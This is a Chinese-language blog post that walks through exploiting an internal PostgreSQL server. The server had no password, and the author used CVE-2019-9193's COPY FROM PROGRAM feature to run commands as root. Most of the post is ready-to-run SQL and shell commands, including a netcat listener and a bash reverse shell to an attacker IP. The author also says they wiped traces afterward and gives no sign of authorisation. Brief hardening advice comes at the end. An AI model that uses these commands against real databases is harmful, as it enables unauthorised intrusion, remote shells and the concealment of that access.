本文最后更新于:2020年5月28日 晚上
最近没事曰曰内网,偶然发现了一个使用空密码的pg(是的,连爆破都省了)。用navicat连上去看了下几个库都是一些业务测试数据,没什么好收集;不死心,google了一下发现有个比较新的CVE好像可以操作一下~
漏洞概述
最近,安全研究人员披露了PostgreSQL实例代码执行漏洞(CVE-2019-9193)的漏洞细节。具有数据库 服务器 文件读取权限的攻击者可以利用此漏洞执行任意系统命令。
从9.3版本开始,Postgres新增了一个COPY TO/FROM PROGRAM功能,允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。
**受影响的版本(貌似更新版本无解)
PostgreSQL> = 9.3**
漏洞利用
pg数据库连接
# 连接postgressql,虽然是内网ip但还是打一下码吧
psql -U postgres -h 172.xx.xxx.xx
开始攻击(直接套用网上POC)
# 删除并创建用于保存系统命令执行结果的表
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
# 命令执行测试,多试几条
COPY cmd_exec FROM PROGRAM 'id';
COPY cmd_exec FROM PROGRAM 'whoami';
# 查看结果
SELECT * FROM cmd_exec;
我的🐎,还是个root用户,,都不用提权了(这安全意识阿。。。)
Getshell
虽然都可以执行系统命令了,拿不拿shell无所谓,但拿了还是要方便一些;
# attack机器上开启监听
nc -lvnp 8888
# 利用pg执行远程连接命令
COPY cmd_exec FROM PROGRAM 'bash -i >& /dev/tcp/attack_ip/8888 0>&1';
attack机器已经返回shell连接了~
记录一下,顺便清除记录收工了。
解决方案建议
1、pg_read_server_files,pg_write_server_files和pg_execute_server_program角色涉及读取和写入具有大权限的数据库服务器文件。将此角色权限分配给数据库用户时,应慎重考虑。
2、使用强密码!!!
3、进行网络隔离,只允许需要的IP连接;
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!